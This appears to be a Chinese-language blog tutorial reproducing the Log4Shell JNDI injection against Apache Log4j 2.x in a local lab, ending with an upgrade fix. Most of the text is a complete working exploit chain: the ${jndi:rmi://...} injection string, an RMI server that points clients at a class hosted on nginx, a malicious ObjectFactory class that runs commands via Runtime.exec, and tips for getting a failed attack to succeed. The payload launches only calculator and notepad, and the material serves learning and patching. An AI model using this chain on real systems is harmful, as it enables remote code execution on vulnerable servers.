声明:
注:本文仅供参考学习,不构成任何犯罪引导
说明:
log4j未对字符合法性进行严格的限制,执行了恶意脚本。比如:
${jndi:rmi://127.0.0.1:1099/attack}
这个东西可以通过rest接口参数传进来,进行恶意注入。比如:http://xxx:81/track/user?id=1&name=${jndi:rmi://127.0.0.1:1099/attack}
,进入你的代码中后如果你接收了name参数之后使用log.info("userName:", name);
就中招了。
受影响的范围为Apache Log4j 2.x <= 2.14.1
原理:
JDK版本:
这里为什么要介绍jdk版本呢?我这里181版本只需要设置
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
就可以被攻击。如果大于等于191版本设置不同,甚至你后面的注入触发不了。有兴趣的可以看:
如何绕过高版本JDK的限制进行JNDI注入利用
攻击Java中的JNDI、RMI、LDAP(二)
准备:
- 被攻击者:
一个正常的springboot web应用,使用了log4j-2.11.1(含漏洞版本)。我这里叫track
,下面会讲。 - 攻击者:
- 搭建一个rmi服务;
- 启动一个nginx,里面放一个含恶意脚本的class文件。
攻击者:
rmi服务:
项目结构:
AttackService.java
务必放在classpath
根路径下编译成class
文件。我这里就是在src/main/java/AttackService.java
,运行启动类编译class
文件在target/classes/AttackService.class
,这个class
文件等会要拷贝到nginx
下用。
RmiServerRun 启动类:
package com.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServerRun {
public static void main(String[] args) {
Registry registry = null;
try {
registry = LocateRegistry.createRegistry(1099);
// 远程连接到nginx http://127.0.0.1:80/AttackService.class 执行该脚本
Reference reference = new Reference("AttackService",
"AttackService", "http://127.0.0.1:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("attack", referenceWrapper);
System.out.println("黑客rmi服务端启动成功!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
AttackService 恶意脚本类:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class AttackService implements ObjectFactory {
{
System.out.println("代码块:攻击服务器!");
Runtime.getRuntime().exec("calc.exe");
}
static {
System.out.println("静态代码块:攻击服务器!");
try {
Runtime.getRuntime().exec("notepad.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
public AttackService() throws IOException {
System.out.println("构造函数:攻击服务器!");
Runtime.getRuntime().exec("calc.exe");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("getObjectInstance:攻击服务器!");
Runtime.getRuntime().exec("calc.exe");
return null;
}
}
启动RmiServerRun :
nginx:
把上一步中target/classes/AttackService.class
编译好的class文件放到nginx下
启动nginx
测试访问:http://127.0.0.1:80/AttackService.class 可以下载到文件即通。
被攻击者的服务(track)
项目是个很简单的web应用,如图:
使用了含漏洞的log4j版本,如图:
AppTrack.java启动类:
package com.hongyi.cms;
import lombok.extern.slf4j.Slf4j;
import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@MapperScan({"com.hongyi.cms.track.mapper"})
@Slf4j
public class AppTrack {
public static void main(String[] args) {
SpringApplication.run(AppTrack.class);
System.out.println("==>web start");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "true");
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
log.info("${jndi:rmi://192.168.18.103:1099/attack}");
// log.info("${java:os}");
// InitialContext initial = new InitialContext();
// Object lookup = initial.lookup("rmi://127.0.0.1:1099/attack");
System.out.println("==>web end");
}
}
这个启动类是模拟正常rest接口接收到注入参数,然后执行的过程。
启动AppTrack.java后:
会弹出来记事本和计算器。。被攻击成功。。。
不成功案例:
只是打印了
Reference Class Name: AttackService
,如图:远程类没有成功加载过来,检查rmi服务 factoryLocation 参数路径最后是不是少个斜线?如图:
检查nginx启动成功了吗?
检查jdk版本是不是高于1.8.0_191了?
log4j漏洞修复方式:
pom.xml中升级log4j的版本到2.15.0
<properties>
<log4j2.version>2.15.0</log4j2.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependencies>
解决参照官方:
Upgrade to Log4j2 2.15.0 · Issue #28983 · spring-projects/spring-boot · GitHub
Log4J2 Vulnerability and Spring Boot